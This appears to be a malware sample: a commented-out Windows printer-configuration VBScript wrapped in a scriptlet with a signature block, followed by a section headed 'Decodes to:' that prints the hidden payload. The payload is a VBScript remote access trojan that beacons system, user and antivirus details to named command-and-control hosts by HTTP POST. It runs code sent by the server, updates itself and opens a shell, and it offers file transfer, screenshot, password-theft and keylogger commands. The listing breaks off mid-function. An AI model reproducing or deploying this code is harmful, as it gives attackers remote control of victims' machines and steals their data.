' 'wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters | |
' 'wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text & CStr(oPrinter.Priority) | |
' 'wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text & CStr(oPrinter.DefaultPriority) | |
' | |
' strStart = Mid(CStr(oPrinter.StartTime), 9, 4) | |
' strEnd = Mid(CStr(oPrinter.UntilTime), 9, 4) | |
' | |
' if strStart <> "" and strEnd <> "" then | |
' | |
' 'wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text & Mid(strStart, 1, 2) & "h" & Mid(strStart, 3, 2) | |
' 'wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text & Mid(strEnd, 1, 2) & "h" & Mid(strEnd, 3, 2) | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General05_Text | |
' | |
' end if | |
' | |
' strAttributes = L_Text_Msg_Printer12_Text | |
' | |
' if oPrinter.Direct then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib01_Text | |
' | |
' end if | |
' | |
' if oPrinter.RawOnly then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib02_Text | |
' | |
' end if | |
' | |
' if oPrinter.Local then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib03_Text | |
' | |
' end if | |
' | |
' if oPrinter.Shared then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib04_Text | |
' | |
' end if | |
' | |
' if oPrinter.KeepPrintedJobs then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib05_Text | |
' | |
' end if | |
' | |
' if oPrinter.Published then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib06_Text | |
' | |
' end if | |
' | |
' if oPrinter.Queued then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib07_Text | |
' | |
' end if | |
' | |
' if oPrinter.Default then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib08_Text | |
' | |
' end if | |
' | |
' if oPrinter.Network then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib09_Text | |
' | |
' end if | |
' | |
' if oPrinter.EnableBiDi then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib10_Text | |
' | |
' end if | |
' | |
' if oPrinter.DoCompleteFirst then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib11_Text | |
' | |
' end if | |
' | |
' if oPrinter.WorkOffline then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib12_Text | |
' | |
' end if | |
' | |
' if oPrinter.Hidden then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib13_Text | |
' | |
' end if | |
' | |
' if oPrinter.EnableDevQueryPrint then | |
' | |
' strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib14_Text | |
' | |
' end if | |
' | |
' | |
' iRetval = kErrorSuccess | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General04_Text & L_Space_Text & oParamDict.Item(kPrinterName) & L_Space_Text _ | |
' & L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _ | |
' & Err.Description | |
' | |
' ' | |
' ' Try getting extended error information | |
' ' | |
' call LastError() | |
' | |
' end if | |
' | |
' GetPrinter = iRetval | |
' | |
'end function | |
' | |
'' | |
'' Configure a printer | |
'' | |
'function SetPrinter(oParamDict) | |
' | |
' on error resume next | |
' | |
' DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text | |
' DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName) | |
' DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName) | |
' | |
' dim oPrinter | |
' dim oService | |
' dim iRetval | |
' dim uResult | |
' dim strServer | |
' dim strPrinter | |
' dim strUser | |
' dim strPassword | |
' | |
' iRetval = kErrorFailure | |
' | |
' strServer = oParamDict.Item(kServerName) | |
' strPrinter = oParamDict.Item(kPrinterName) | |
' strNewName = oParamDict.Item(kNewPrinterName) | |
' strUser = oParamDict.Item(kUserName) | |
' strPassword = oParamDict.Item(kPassword) | |
' | |
' if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then | |
' | |
' set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'") | |
' | |
' else | |
' | |
' SetPrinter = kErrorFailure | |
' | |
' exit function | |
' | |
' end if | |
' | |
' ' | |
' ' Check if Get was successful | |
' ' | |
' if Err.Number = kErrorSuccess then | |
' | |
' if oParamdict.Exists(kPortName) then oPrinter.PortName = oParamDict.Item(kPortName) end if | |
' if oParamdict.Exists(kDriverName) then oPrinter.DriverName = oParamDict.Item(kDriverName) end if | |
' if oParamdict.Exists(kShareName) then oPrinter.ShareName = oParamDict.Item(kShareName) end if | |
' if oParamdict.Exists(kLocation) then oPrinter.Location = oParamDict.Item(kLocation) end if | |
' if oParamdict.Exists(kComment) then oPrinter.Comment = oParamDict.Item(kComment) end if | |
' if oParamdict.Exists(kDataType) then oPrinter.PrintJobDataType = oParamDict.Item(kDataType) end if | |
' if oParamdict.Exists(kSepFile) then oPrinter.SeparatorFile = oParamDict.Item(kSepfile) end if | |
' if oParamdict.Exists(kParameters) then oPrinter.Parameters = oParamDict.Item(kParameters) end if | |
' if oParamdict.Exists(kPriority) then oPrinter.Priority = oParamDict.Item(kPriority) end if | |
' if oParamdict.Exists(kDefaultPriority) then oPrinter.DefaultPriority = oParamDict.Item(kDefaultPriority) end if | |
' if oParamdict.Exists(kPrintProc) then oPrinter.PrintProc = oParamDict.Item(kPrintProc) end if | |
' if oParamdict.Exists(kStartTime) then oPrinter.StartTime = oParamDict.Item(kStartTime) end if | |
' if oParamdict.Exists(kUntilTime) then oPrinter.UntilTime = oParamDict.Item(kUntilTime) end if | |
' if oParamdict.Exists(kQueued) then oPrinter.Queued = oParamDict.Item(kQueued) end if | |
' if oParamdict.Exists(kDirect) then oPrinter.Direct = oParamDict.Item(kDirect) end if | |
' if oParamdict.Exists(kShared) then oPrinter.Shared = oParamDict.Item(kShared) end if | |
' if oParamdict.Exists(kHidden) then oPrinter.Hidden = oParamDict.Item(kHidden) end if | |
' if oParamdict.Exists(kEnabledevq) then oPrinter.EnableDevQueryPrint = oParamDict.Item(kEnabledevq) end if | |
' if oParamdict.Exists(kKeepPrintedJobs) then oPrinter.KeepPrintedJobs = oParamDict.Item(kKeepPrintedJobs) end if | |
' if oParamdict.Exists(kDoCompleteFirst) then oPrinter.DoCompleteFirst = oParamDict.Item(kDoCompleteFirst) end if | |
' if oParamdict.Exists(kWorkOffline) then oPrinter.WorkOffline = oParamDict.Item(kWorkOffline) end if | |
' if oParamdict.Exists(kEnableBidi) then oPrinter.EnableBidi = oParamDict.Item(kEnableBidi) end if | |
' if oParamdict.Exists(kRawonly) then oPrinter.RawOnly = oParamDict.Item(kRawonly) end if | |
' if oParamdict.Exists(kPublished) then oPrinter.Published = oParamDict.Item(kPublished) end if | |
' | |
' oPrinter.Put_(kFlagUpdateOnly) | |
' | |
' if Err.Number = kErrorSuccess then | |
' | |
' 'wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter | |
' | |
' iRetval = kErrorSuccess | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General07_Text & L_Space_Text & strPrinter & L_Space_Text _ | |
' & L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _ | |
' & Err.Description | |
' | |
' ' | |
' ' Try getting extended error information | |
' ' | |
' call LastError() | |
' | |
' end if | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _ | |
' & L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _ | |
' & Err.Description | |
' | |
' ' | |
' ' Try getting extended error information | |
' ' | |
' call LastError() | |
' | |
' end if | |
' | |
' SetPrinter = iRetval | |
' | |
'end function | |
' | |
'' | |
'' Converts the printer status to a string | |
'' | |
'function PrnStatusToString(Status) | |
' | |
' dim str | |
' | |
' str = L_Empty_Text | |
' | |
' select case Status | |
' | |
' case 1 | |
' str = str + L_Text_Msg_Status01_Text + L_Space_Text | |
' | |
' case 2 | |
' str = str + L_Text_Msg_Status02_Text + L_Space_Text | |
' | |
' case 3 | |
' str = str + L_Text_Msg_Status03_Text + L_Space_Text | |
' | |
' case 4 | |
' str = str + L_Text_Msg_Status04_Text + L_Space_Text | |
' | |
' case 5 | |
' str = str + L_Text_Msg_Status05_Text + L_Space_Text | |
' | |
' case 6 | |
' str = str + L_Text_Msg_Status06_Text + L_Space_Text | |
' | |
' case 7 | |
' str = str + L_Text_Msg_Status07_Text + L_Space_Text | |
' | |
' end select | |
' | |
' PrnStatusToString = str | |
' | |
'end function | |
' | |
'' | |
'' Converts the extended printer status to a string | |
'' | |
'function ExtPrnStatusToString(Status) | |
' | |
' dim str | |
' | |
' str = L_Empty_Text | |
' | |
' select case Status | |
' | |
' case 1 | |
' str = str + L_Text_Msg_Status01_Text + L_Space_Text | |
' | |
' case 2 | |
' str = str + L_Text_Msg_Status02_Text + L_Space_Text | |
' | |
' case 3 | |
' str = str + L_Text_Msg_Status03_Text + L_Space_Text | |
' | |
' case 4 | |
' str = str + L_Text_Msg_Status04_Text + L_Space_Text | |
' | |
' case 5 | |
' str = str + L_Text_Msg_Status05_Text + L_Space_Text | |
' | |
' case 6 | |
' str = str + L_Text_Msg_Status06_Text + L_Space_Text | |
' | |
' case 7 | |
' str = str + L_Text_Msg_Status07_Text + L_Space_Text | |
' | |
' case 8 | |
' str = str + L_Text_Msg_Status08_Text + L_Space_Text | |
' | |
' case 9 | |
' str = str + L_Text_Msg_Status09_Text + L_Space_Text | |
' | |
' case 10 | |
' str = str + L_Text_Msg_Status10_Text + L_Space_Text | |
' | |
' case 11 | |
' str = str + L_Text_Msg_Status11_Text + L_Space_Text | |
' | |
' case 12 | |
' str = str + L_Text_Msg_Status12_Text + L_Space_Text | |
' | |
' case 13 | |
' str = str + L_Text_Msg_Status13_Text + L_Space_Text | |
' | |
' case 14 | |
' str = str + L_Text_Msg_Status14_Text + L_Space_Text | |
' | |
' case 15 | |
' str = str + L_Text_Msg_Status15_Text + L_Space_Text | |
' | |
' case 16 | |
' str = str + L_Text_Msg_Status16_Text + L_Space_Text | |
' | |
' case 17 | |
' str = str + L_Text_Msg_Status17_Text + L_Space_Text | |
' | |
' case 18 | |
' str = str + L_Text_Msg_Status18_Text + L_Space_Text | |
' | |
' end select | |
' | |
' ExtPrnStatusToString = str | |
' | |
'end function | |
' | |
'' | |
'' Converts the detected error state to a string | |
'' | |
'function DetectedErrorStateToString(Status) | |
' | |
' dim str | |
' | |
' str = L_Empty_Text | |
' | |
' select case Status | |
' | |
' case 0 | |
' str = str + L_Text_Msg_Status02_Text + L_Space_Text | |
' | |
' case 1 | |
' str = str + L_Text_Msg_Status01_Text + L_Space_Text | |
' | |
' case 2 | |
' str = str + L_Text_Msg_Status01_Text + L_Space_Text | |
' | |
' case 3 | |
' str = str + L_Text_Msg_Status20_Text + L_Space_Text | |
' | |
' case 4 | |
' str = str + L_Text_Msg_Status21_Text + L_Space_Text | |
' | |
' case 5 | |
' str = str + L_Text_Msg_Status22_Text + L_Space_Text | |
' | |
' case 6 | |
' str = str + L_Text_Msg_Status23_Text + L_Space_Text | |
' | |
' case 7 | |
' str = str + L_Text_Msg_Status24_Text + L_Space_Text | |
' | |
' case 8 | |
' str = str + L_Text_Msg_Status25_Text + L_Space_Text | |
' | |
' case 9 | |
' str = str + L_Text_Msg_Status07_Text + L_Space_Text | |
' | |
' case 10 | |
' str = str + L_Text_Msg_Status26_Text + L_Space_Text | |
' | |
' case 11 | |
' str = str + L_Text_Msg_Status27_Text + L_Space_Text | |
' | |
' end select | |
' | |
' DetectedErrorStateToString = str | |
' | |
'end function | |
' | |
'' | |
'' Converts the extended detected error state to a string | |
'' | |
'function ExtDetectedErrorStateToString(Status) | |
' | |
' dim str | |
' | |
' str = L_Empty_Text | |
' | |
' select case Status | |
' | |
' case 0 | |
' str = str + L_Text_Msg_Status02_Text + L_Space_Text | |
' | |
' case 1 | |
' str = str + L_Text_Msg_Status01_Text + L_Space_Text | |
' | |
' case 2 | |
' str = str + L_Text_Msg_Status01_Text + L_Space_Text | |
' | |
' case 3 | |
' str = str + L_Text_Msg_Status20_Text + L_Space_Text | |
' | |
' case 4 | |
' str = str + L_Text_Msg_Status21_Text + L_Space_Text | |
' | |
' case 5 | |
' str = str + L_Text_Msg_Status22_Text + L_Space_Text | |
' | |
' case 6 | |
' str = str + L_Text_Msg_Status23_Text + L_Space_Text | |
' | |
' case 7 | |
' str = str + L_Text_Msg_Status24_Text + L_Space_Text | |
' | |
' case 8 | |
' str = str + L_Text_Msg_Status25_Text + L_Space_Text | |
' | |
' case 9 | |
' str = str + L_Text_Msg_Status07_Text + L_Space_Text | |
' | |
' case 10 | |
' str = str + L_Text_Msg_Status26_Text + L_Space_Text | |
' | |
' case 11 | |
' str = str + L_Text_Msg_Status27_Text + L_Space_Text | |
' | |
' case 12 | |
' str = str + L_Text_Msg_Status28_Text + L_Space_Text | |
' | |
' case 13 | |
' str = str + L_Text_Msg_Status29_Text + L_Space_Text | |
' | |
' case 14 | |
' str = str + L_Text_Msg_Status30_Text + L_Space_Text | |
' | |
' case 15 | |
' str = str + L_Text_Msg_Status31_Text + L_Space_Text | |
' | |
' case 16 | |
' str = str + L_Text_Msg_Status32_Text + L_Space_Text | |
' | |
' end select | |
' | |
' ExtDetectedErrorStateToString = str | |
' | |
'end function | |
' | |
'' | |
'' Debug display helper function | |
'' | |
'sub DebugPrint(uFlags, strString) | |
' | |
' if gDebugFlag = true then | |
' | |
' if uFlags = kDebugTrace then | |
' | |
' 'wscript.echo L_Debug_Text & L_Space_Text & strString | |
' | |
' end if | |
' | |
' if uFlags = kDebugError then | |
' | |
' if Err <> 0 then | |
' | |
' 'wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _ | |
' & L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _ | |
' & L_Space_Text & Err.Description | |
' | |
' end if | |
' | |
' end if | |
' | |
' end if | |
' | |
'end sub | |
' | |
'' | |
'' Parse the command line into its components | |
'' | |
'function ParseCommandLine(iAction, oParamdict) | |
' | |
' on error resume next | |
' | |
' DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text | |
' | |
' dim oArgs | |
' dim iIndex | |
' | |
' iAction = kActionUnknown | |
' iIndex = 0 | |
' | |
' set oArgs = wscript.Arguments | |
' | |
' while iIndex < oArgs.Count | |
' | |
' select case oArgs(iIndex) | |
' | |
' case "-g" | |
' iAction = kActionGet | |
' | |
' case "-t" | |
' iAction = kActionSet | |
' | |
' case "-x" | |
' iAction = kActionRename | |
' | |
' case "-p" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kPrinterName, oArgs(iIndex) | |
' | |
' case "-s" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kServerName, RemoveBackslashes(oArgs(iIndex)) | |
' | |
' case "-r" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kPortName, oArgs(iIndex) | |
' | |
' case "-h" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kShareName, oArgs(iIndex) | |
' | |
' case "-m" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kComment, oArgs(iIndex) | |
' | |
' case "-l" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kLocation, oArgs(iIndex) | |
' | |
' case "-y" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kDataType, oArgs(iIndex) | |
' | |
' case "-f" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kSepFile, oArgs(iIndex) | |
' | |
' case "-z" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kNewPrinterName, oArgs(iIndex) | |
' | |
' case "-u" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kUserName, oArgs(iIndex) | |
' | |
' case "-w" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kPassword, oArgs(iIndex) | |
' | |
' case "-st" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kStartTime, "********" & oArgs(iIndex) & "00.000000+000" | |
' | |
' case "-o" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kPriority, oArgs(iIndex) | |
' | |
' case "-i" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kDefaultPriority, oArgs(iIndex) | |
' | |
' case "-ut" | |
' iIndex = iIndex + 1 | |
' oParamdict.Add kUntilTime, "********" & oArgs(iIndex) & "00.000000+000" | |
' | |
' case "-queued" | |
' oParamdict.Add kQueued, false | |
' | |
' case "+queued" | |
' oParamdict.Add kQueued, true | |
' | |
' case "-direct" | |
' oParamdict.Add kDirect, false | |
' | |
' case "+direct" | |
' oParamdict.Add kDirect, true | |
' | |
' case "-shared" | |
' oParamdict.Add kShared, false | |
' | |
' case "+shared" | |
' oParamdict.Add kShared, true | |
' | |
' case "-hidden" | |
' oParamdict.Add kHidden, false | |
' | |
' case "+hidden" | |
' oParamdict.Add kHidden, true | |
' | |
' case "-enabledevq" | |
' oParamdict.Add kEnabledevq, false | |
' | |
' case "+enabledevq" | |
' oParamdict.Add kEnabledevq, true | |
' | |
' case "-keepprintedjobs" | |
' oParamdict.Add kKeepprintedjobs, false | |
' | |
' case "+keepprintedjobs" | |
' oParamdict.Add kKeepprintedjobs, true | |
' | |
' case "-docompletefirst" | |
' oParamdict.Add kDocompletefirst, false | |
' | |
' case "+docompletefirst" | |
' oParamdict.Add kDocompletefirst, true | |
' | |
' case "-workoffline" | |
' oParamdict.Add kWorkoffline, false | |
' | |
' case "+workoffline" | |
' oParamdict.Add kWorkoffline, true | |
' | |
' case "-enablebidi" | |
' oParamdict.Add kEnablebidi, false | |
' | |
' case "+enablebidi" | |
' oParamdict.Add kEnablebidi, true | |
' | |
' case "-rawonly" | |
' oParamdict.Add kRawonly, false | |
' | |
' case "+rawonly" | |
' oParamdict.Add kRawonly, true | |
' | |
' case "-published" | |
' oParamdict.Add kPublished, false | |
' | |
' case "+published" | |
' oParamdict.Add kPublished, true | |
' | |
' case "-?" | |
' Usage(true) | |
' exit function | |
' | |
' case else | |
' Usage(true) | |
' exit function | |
' | |
' end select | |
' | |
' iIndex = iIndex + 1 | |
' | |
' wend | |
' | |
' if Err = kErrorSuccess then | |
' | |
' ParseCommandLine = kErrorSuccess | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Error_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _ | |
' & L_Hex_Text & hex(Err.Number) & L_Space_text & Err.Description | |
' | |
' ParseCommandLine = kErrorFailure | |
' | |
' end if | |
' | |
'end function | |
' | |
'' | |
'' Display command usage. | |
'' | |
'sub Usage(bExit) | |
' | |
' | |
' | |
' if bExit then | |
' | |
' wscript.quit(1) | |
' | |
' end if | |
' | |
'end sub | |
' | |
'' | |
'' Determines which program is being used to run this script. | |
'' Returns true if the script host is cscript.exe | |
'' | |
'function IsHostCscript() | |
' | |
' on error resume next | |
' | |
' dim strFullName | |
' dim strCommand | |
' dim i, j | |
' dim bReturn | |
' | |
' bReturn = false | |
' | |
' strFullName = WScript.FullName | |
' | |
' i = InStr(1, strFullName, ".exe", 1) | |
' | |
' if i <> 0 then | |
' | |
' j = InStrRev(strFullName, "\", i, 1) | |
' | |
' if j <> 0 then | |
' | |
' strCommand = Mid(strFullName, j+1, i-j-1) | |
' | |
' if LCase(strCommand) = "cscript" then | |
' | |
' bReturn = true | |
' | |
' end if | |
' | |
' end if | |
' | |
' end if | |
' | |
' if Err <> 0 then | |
' | |
' 'wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _ | |
' & L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description | |
' | |
' end if | |
' | |
' IsHostCscript = bReturn | |
' | |
'end function | |
' | |
'' | |
'' Retrieves extended information about the last error that occurred | |
'' during a WBEM operation. The methods that set an SWbemLastError | |
'' object are GetObject, PutInstance, DeleteInstance | |
'' | |
'sub LastError() | |
' | |
' on error resume next | |
' | |
' dim oError | |
' | |
' set oError = CreateObject("WbemScripting.SWbemLastError") | |
' | |
' if Err = kErrorSuccess then | |
' | |
' 'wscript.echo L_Operation_Text & L_Space_Text & oError.Operation | |
' 'wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName | |
' 'wscript.echo L_Description_Text & L_Space_Text & oError.Description | |
' 'wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode | |
' | |
' end if | |
' | |
'end sub | |
' | |
'' | |
'' Connects to the WMI service on a server. oService is returned as a service | |
'' object (SWbemServices) | |
'' | |
'function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService) | |
' | |
' on error resume next | |
' | |
' dim oLocator | |
' dim bResult | |
' | |
' oService = null | |
' | |
' bResult = false | |
' | |
' set oLocator = CreateObject("WbemScripting.SWbemLocator") | |
' | |
' if Err = kErrorSuccess then | |
' | |
' set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword) | |
' | |
' if Err = kErrorSuccess then | |
' | |
' bResult = true | |
' | |
' oService.Security_.impersonationlevel = 3 | |
' | |
' ' | |
' ' Required to perform administrative tasks on the spooler service | |
' ' | |
' oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege" | |
' | |
' Err.Clear | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General08_Text & L_Space_Text & L_Error_Text _ | |
' & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _ | |
' & Err.Description | |
' | |
' end if | |
' | |
' else | |
' | |
' 'wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _ | |
' & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _ | |
' & Err.Description | |
' | |
' end if | |
' | |
' WmiConnect = bResult | |
' | |
'end function | |
' | |
'' | |
'' Remove leading "\\" from server name | |
'' | |
'function RemoveBackslashes(strServer) | |
' | |
' dim strRet | |
' | |
' strRet = strServer | |
' | |
' if Left(strServer, 2) = "\\" and Len(strServer) > 2 then | |
' | |
' strRet = Mid(strServer, 3) | |
' | |
' end if | |
' | |
' RemoveBackslashes = strRet | |
' | |
'end function | |
' | |
' | |
'' SIG '' Begin signature block | |
''' SIG '' MIIZMAYJKoZIhvcNAQcCoIIZITCCGR0CAQExDjAMBggq | |
''' SIG '' hkiG9w0CBQUAMGYGCisGAQQBgjcCAQSgWDBWMDIGCisG | |
''' SIG '' AQQBgjcCAR4wJAIBAQQQTvApFpkntU2P5azhDxfrqwIB | |
''' SIG '' AAIBAAIBAAIBAAIBADAgMAwGCCqGSIb3DQIFBQAEEOLm | |
''' SIG '' 4j+9BLdGEED7+fyvFSygghQ4MIICvDCCAiUCEEoZ0jiM | |
''' SIG '' glkcpV1zXxVd3KMwDQYJKoZIhvcNAQEEBQAwgZ4xHzAd | |
''' SIG '' BgNVBAoTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxFzAV | |
''' SIG '' BgNVBAsTDlZlcmlTaWduLCBJbmMuMSwwKgYDVQQLEyNW | |
''' SIG '' ZXJpU2lnbiBUaW1lIFN0YW1waW5nIFNlcnZpY2UgUm9v | |
''' SIG '' dDE0MDIGA1UECxMrTk8gTElBQklMSVRZIEFDQ0VQVEVE | |
''' SIG '' LCAoYyk5NyBWZXJpU2lnbiwgSW5jLjAeFw05NzA1MTIw | |
''' SIG '' MDAwMDBaFw0wNDAxMDcyMzU5NTlaMIGeMR8wHQYDVQQK | |
''' SIG '' ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMRcwFQYDVQQL | |
''' SIG '' Ew5WZXJpU2lnbiwgSW5jLjEsMCoGA1UECxMjVmVyaVNp | |
''' SIG '' Z24gVGltZSBTdGFtcGluZyBTZXJ2aWNlIFJvb3QxNDAy | |
''' SIG '' BgNVBAsTK05PIExJQUJJTElUWSBBQ0NFUFRFRCwgKGMp | |
''' SIG '' OTcgVmVyaVNpZ24sIEluYy4wgZ8wDQYJKoZIhvcNAQEB | |
''' SIG '' BQADgY0AMIGJAoGBANMuIPBofCwtLoEcsQaypwu3EQ1X | |
''' SIG '' 2lPYdePJMyqy1PYJWzTz6ZD+CQzQ2xtauc3n9oixncCH | |
''' SIG '' Z0JIppAQ5L9h+JxT5ZPRcz/4/Z1PhKxV0f0RY2MwggQC | |
''' SIG '' MIIDa6ADAgECAhAIem1cb2KTT7rE/UPhFBidMA0GCSqG | |
''' SIG '' SIb3DQEBBAUAMIGeMR8wHQYDVQQKExZWZXJpU2lnbiBU | |
''' SIG '' cnVzdCBOZXR3b3JrMRcwFQYDVQQLEw5WZXJpU2lnbiwg | |
''' SIG '' SW5jLjEsMCoGA1UECxMjVmVyaVNpZ24gVGltZSBTdGFt | |
''' SIG '' cGluZyBTZXJ2aWNlIFJvb3QxNDAyBgNVBAsTK05PIExJ | |
''' SIG '' QUJJTElUWSBBQ0NFUFRFRCwgKGMpOTcgVmVyaVNpZ24s | |
''' SIG '' IEluYy4wHhcNMDEwMjI4MDAwMDAwWhcNMDQwMTA2MjM1 | |
''' SIG '' OTU5WjCBoDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4x | |
''' SIG '' HzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsx | |
''' SIG '' OzA5BgNVBAsTMlRlcm1zIG9mIHVzZSBhdCBodHRwczov | |
... | |
''' SIG '' vSRK4Mpa/gWTKBapOlzdKcI= | |
''' SIG '' End signature block | |
End Function | |
</script> | |
</registration> | |
</scriptlet> | |
## Decodes to: | |
host = array("mighty-dead.ddns.net:535", "149.28.14.103:535", "mighty-dead.spdns.de:535") | |
dim r7 | |
set r7 = createobject("wscript.shell") | |
dim w1 | |
set w1 = createobject("scripting.filesystemobject") | |
dim x3 | |
set x3 = createobject("msxml2.xmlhttp") | |
spliter = "<" & "|" & ">" | |
dim n9 | |
dim i8 | |
dim wd | |
info = "" | |
usbspreading = "" | |
startdate = "" | |
dim u9 | |
dns = 0 | |
on error resume next | |
o7 | |
while true | |
i5 | |
n9 = "" | |
n9 = o4("is-ready", b9) | |
if x3.status < > 200 then | |
if dns >= ubound(host) then | |
dns = 0 | |
else | |
dns = dns + 1 | |
end | |
if | |
end | |
if | |
i8 = split(n9, spliter) | |
select | |
case i8(0) | |
case "excecute" | |
wd = i8(1) | |
execute wd | |
case "update" | |
wd = i8(1) | |
u9.close | |
set u9 = w1.opentextfile(installdir & installname, 2, false) | |
u9.write wd | |
u9.close | |
wscript.quit | |
case "uninstall" | |
c8 | |
case "send" | |
r3 i8(1), i8(2) | |
case "site-send" | |
v4 i8(1), i8(2) | |
case "recv" | |
wd = i8(1) | |
p9(wd) | |
case "enum-driver" | |
o4 "is-enum-driver", x8 | |
case "enum-faf" | |
wd = i8(1) | |
o4 "is-enum-faf", g2(wd) | |
case "enum-process" | |
o4 "is-enum-process", w2 | |
case "i8-shell" | |
wd = i8(1) | |
o4 "is-i8-shell", g7(wd) | |
case "delete" | |
wd = i8(1) | |
s3(wd) | |
case "exit-process" | |
wd = i8(1) | |
p2(wd) | |
case "screen-shot" | |
k7 i8(1), i8(2), i8(3) | |
case "password" | |
w4 | |
case "keylogger" | |
c8 | |
end select | |
wend | |
function o4(i8, wd) | |
o4 = wd | |
x3.open "post", "http://" & host(dns) & "/" & i8, false | |
x3.send wd | |
o4 = x3.responsetext | |
end | |
function | |
function b9 | |
on error resume next | |
if inf = "" | |
then | |
inf = c0 & spliter | |
inf = inf & r7.expandenvironmentstrings("%computername%") & spliter | |
inf = inf & r7.expandenvironmentstrings("%username%") & spliter | |
set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") | |
set os = root.execquery("select * from win32_operatingsystem") | |
for each osinfo in os | |
inf = inf & osinfo.caption & spliter | |
exit | |
for | |
next | |
inf = inf & "plus" & spliter | |
inf = inf & o1 & spliter | |
inf = inf & usbspreading | |
b9 = inf | |
else | |
b9 = inf | |
end | |
if | |
end | |
function | |
sub h4() | |
on error resume Next | |
w1.copyfile wscript.scriptfullname, installdir & installname, true | |
end sub | |
function c0 | |
on error resume next | |
set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") | |
set disks = root.execquery("select * from win32_logicaldisk") | |
for each disk in disks | |
if disk.volumeserialnumber < > "" | |
then | |
c0 = disk.volumeserialnumber | |
exit | |
for | |
end | |
if | |
next | |
end | |
function | |
function o1 | |
on error resume next | |
o1 = "" | |
set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") | |
set colitems = objwmiservice.execquery("select * from win32_operatingsystem", , 48) | |
for each v3 in colitems | |
versionstr = split(v3.version, ".") | |
next | |
versionstr = split(colitems.version, ".") | |
osversion = versionstr(0) & "." | |
for z1 = 1 to ubound(versionstr) | |
osversion = osversion & versionstr(i) | |
next | |
osversion = eval(osversion) | |
if osversion > 6 then sc = "securitycenter2" | |
else sc = "securitycenter" | |
set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc) | |
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct", "wql", 0) for each objantivirus in colantivirus o1 = o1 & objantivirus.displayname & " ." | |
next | |
if o1 = "" | |
then o1 = "nan-av" | |
end | |
function | |
sub r3(a4, q8) if q8 = "" | |
then q8 = installdir end | |
if strsaveto = q8 & mid(a4, instrrev(a4, "\") + 1) | |
